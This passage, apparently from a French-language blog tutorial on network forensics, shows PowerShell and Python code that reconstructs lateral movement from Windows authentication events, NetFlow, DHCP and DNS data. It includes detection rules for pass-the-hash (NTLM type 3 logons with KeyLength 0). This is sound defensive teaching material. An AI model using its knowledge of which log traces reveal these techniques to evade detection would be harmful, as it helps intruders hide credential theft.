Kerberos</td><td>Kerberos échoué  pulvérisation de mots de passe, énumération</td></tr></tbody></table>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="52-extraire-les-chaînes-de-déplacement-basées-sur-lauthentification">5.2 Extraire les Chaînes de Déplacement Basées sur l'Authentification<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#52-extraire-les-cha%C3%AEnes-de-d%C3%A9placement-bas%C3%A9es-sur-lauthentification" class="hash-link" aria-label="Direct link to 5.2 Extraire les Chaînes de Déplacement Basées sur l'Authentification" title="Direct link to 5.2 Extraire les Chaînes de Déplacement Basées sur l'Authentification" translate="no">​</a></h3>
<p>La requête la plus puissante en forensique de journaux auth Windows : trouver chaque machine sur laquelle <code>jsmith@corp.local</code> s'est authentifié, dans l'ordre chronologique. C'est la chaîne de mouvement latéral.</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Construire la chaîne d'authentification pour un compte spécifique sur tous les DC</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Exécuter contre votre SIEM ou directement contre les journaux Sécurité DC</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$targetAccount = "jsmith"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$startTime = [DateTime]::Parse("2025-11-15 00:00:00")</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$endTime   = [DateTime]::Parse("2025-11-16 00:00:00")</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Interroger tous les DC pour les événements de connexion impliquant le compte</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$domainControllers = (Get-ADDomainController -Filter *).Name</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$authEvents = @()</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">foreach ($dc in $domainControllers) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Host "Interrogation de $dc..."</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    # Événement 4624 (connexion) et 4648 (identifiants explicites) et 4769 (Kerberos TGS)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $filter = @{</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        LogName   = 'Security'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        Id        = @(4624, 4648, 4769, 4776)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        StartTime = $startTime</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        EndTime   = $endTime</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    try {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        $events = Get-WinEvent -ComputerName $dc -FilterHashtable $filter `</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                               -ErrorAction Stop</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        foreach ($event in $events) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            $xml = [xml]$event.ToXml()</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            $data = $xml.Event.EventData.Data</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            # Extraire les champs pertinents selon l'ID d'événement</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            $entry = [PSCustomObject]@{</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                Timestamp   = $event.TimeCreated</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                EventID     = $event.Id</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                DC          = $dc</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                AccountName = ($data | Where-Object Name -eq 'TargetUserName').'#text'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                AccountDomain = ($data | Where-Object Name -eq 'TargetDomainName').'#text'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                SourceIP    = ($data | Where-Object Name -eq 'IpAddress').'#text'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                Workstation = ($data | Where-Object Name -eq 'WorkstationName').'#text'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                LogonType   = ($data | Where-Object Name -eq 'LogonType').'#text'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                AuthPackage = ($data | Where-Object Name -eq 'AuthenticationPackageName').'#text'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                ServiceName = ($data | Where-Object Name -eq 'ServiceName').'#text'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                LogonID     = ($data | Where-Object Name -eq 'TargetLogonId').'#text'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            # Filtrer pour notre compte cible</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            if ($entry.AccountName -like "*$targetAccount*") {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                $authEvents += $entry</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    } catch {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        Write-Warning "Échec sur $dc : $_"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Trier et afficher la chaîne de déplacement</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$authEvents | Sort-Object Timestamp | Format-Table Timestamp, EventID, SourceIP, Workstation, ServiceName, LogonType, AuthPackage -AutoSize</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Exporter pour corrélation avec NetFlow et données DNS</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$authEvents | Export-Csv "auth_chain_${targetAccount}.csv" -NoTypeInformation</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="53-détecter-pass-the-hash-vs-kerberos-vs-auth-légitime">5.3 Détecter Pass-the-Hash vs. Kerberos vs. Auth Légitime<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#53-d%C3%A9tecter-pass-the-hash-vs-kerberos-vs-auth-l%C3%A9gitime" class="hash-link" aria-label="Direct link to 5.3 Détecter Pass-the-Hash vs. Kerberos vs. Auth Légitime" title="Direct link to 5.3 Détecter Pass-the-Hash vs. Kerberos vs. Auth Légitime" translate="no">​</a></h3>
<p>Le champ du package d'authentification dans l'Événement 4624 révèle la technique :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Analyse des champs Événement 4624 pour l'identification de la technique de mouvement latéral :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">LogonType=3 (Réseau) + AuthPackage=NTLM + Incompatibilité poste source = Pass-the-Hash</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">LogonType=3 (Réseau) + AuthPackage=Kerberos + Heures normales = Probablement légitime</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">LogonType=3 (Réseau) + AuthPackage=Kerberos + Hors heures + pas de logon type 2 préalable sur cet hôte = Suspect</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">LogonType=9 (NewCredentials) + AuthPackage=NTLM = Identifiants alternatifs explicites (runas /netonly ou Invoke-Command avec PSCredential)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">LogonType=10 (RemoteInteractive) = Session RDP</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Indicateur spécifique Pass-the-Hash dans l'Événement 4624 :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  KeyLength: 0    ← Ce champ à 0 dans un logon NTLM Type 3</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    indique qu'aucune clé de session n'a été négociée = pass-the-hash</span><br></span></code></pre></div></div>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Détecter pass-the-hash en trouvant les connexions NTLM Type 3 avec KeyLength=0</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># et où le poste de travail ne correspond pas à l'attribution DHCP de l'IP source</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$pthIndicators = Get-WinEvent -ComputerName $dc -FilterHashtable @{</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    LogName = 'Security'; Id = 4624; StartTime = $startTime; EndTime = $endTime</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">} | ForEach-Object {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $xml = [xml]$_.ToXml()</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $data = $xml.Event.EventData.Data</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $logonType  = ($data | Where-Object Name -eq 'LogonType').'#text'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $authPkg    = ($data | Where-Object Name -eq 'AuthenticationPackageName').'#text'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $keyLength  = ($data | Where-Object Name -eq 'KeyLength').'#text'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $sourceIP   = ($data | Where-Object Name -eq 'IpAddress').'#text'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $workstation = ($data | Where-Object Name -eq 'WorkstationName').'#text'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $account    = ($data | Where-Object Name -eq 'TargetUserName').'#text'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    # Indicateurs pass-the-hash :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    # Connexion réseau Type 3 + NTLM + KeyLength 0</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    if ($logonType -eq '3' -and $authPkg -eq 'NTLM' -and $keyLength -eq '0') {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        [PSCustomObject]@{</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            Timestamp   = $_.TimeCreated</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            Account     = $account</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            SourceIP    = $sourceIP</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            Workstation = $workstation</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            KeyLength   = $keyLength</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            Indicator   = 'POSSIBLE_PASS_THE_HASH'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">} | Where-Object { $_ -ne $null }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$pthIndicators | Sort-Object Timestamp | Format-Table -AutoSize</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-6--corrélation-multi-sources--construire-la-chronologie-dattaque">Partie 6  Corrélation Multi-Sources : Construire la Chronologie d'Attaque<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#partie-6--corr%C3%A9lation-multi-sources--construire-la-chronologie-dattaque" class="hash-link" aria-label="Direct link to Partie 6  Corrélation Multi-Sources : Construire la Chronologie d'Attaque" title="Direct link to Partie 6  Corrélation Multi-Sources : Construire la Chronologie d'Attaque" translate="no">​</a></h2>
<p>C'est ici que l'image forensique prend forme. Chaque source raconte une histoire partielle. Le JOIN sur les quatre sources construit la chronologie complète du mouvement latéral.</p>
<!-- -->
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="61-le-script-de-corrélation--jointure-des-quatre-sources">6.1 Le Script de Corrélation : Jointure des Quatre Sources<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#61-le-script-de-corr%C3%A9lation--jointure-des-quatre-sources" class="hash-link" aria-label="Direct link to 6.1 Le Script de Corrélation : Jointure des Quatre Sources" title="Direct link to 6.1 Le Script de Corrélation : Jointure des Quatre Sources" translate="no">​</a></h3>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic">#!/usr/bin/env python3</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">Moteur de corrélation multi-sources pour la forensique réseau.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">Jointure de NetFlow, DHCP, cache DNS et journaux auth Windows</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">pour reconstruire les chronologies de mouvement latéral.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="display:inline-block;color:hsl(139, 66%, 32%)"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">Fichiers d'entrée :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">  - netflow.csv:   ts, src_ip, dst_ip, dst_port, bytes, flags</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">  - dhcp.csv:      timestamp, event_type, ip, hostname, mac</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">  - auth.csv:      timestamp, event_id, source_ip, account, logon_type, auth_pkg, key_length</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">  - dns_cache.csv: source_host, resolved_hostname, resolved_ip, ttl</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="display:inline-block;color:hsl(139, 66%, 32%)"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">Sortie :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">  Événements de mouvement latéral avec enrichissement complet du contexte.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> csv</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> json</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">from</span><span class="token plain"> datetime </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> datetime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> timedelta</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">from</span><span class="token plain"> collections </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> defaultdict</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">class</span><span class="token plain"> </span><span class="token class-name" style="color:hsl(26, 100%, 29%)">NetworkForensicsCorrelator</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">def</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">__init__</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">ip_timeline </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain">      </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ip -&gt; [(début, fin, nom_hôte, mac)]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">auth_events </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain">      </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># liste des enregistrements auth</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">netflow_events </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain">   </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># liste des enregistrements de flux</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">dns_observations </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"> </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># hôte_source -&gt; [ips_résolues]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">def</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">load_dhcp</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> csv_path</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""Charger et construire la chronologie IP depuis les journaux DHCP."""</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        events </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">with</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">open</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">csv_path</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">as</span><span class="token plain"> f</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> row </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> csv</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">DictReader</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">f</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">try</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    events</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'ts'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> datetime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">fromisoformat</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'timestamp'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'type'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'event_type'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'hostname'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'hostname'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'mac'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'mac'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">except</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ValueError</span><span class="token punctuation" style="color:hsl(212, 13%, 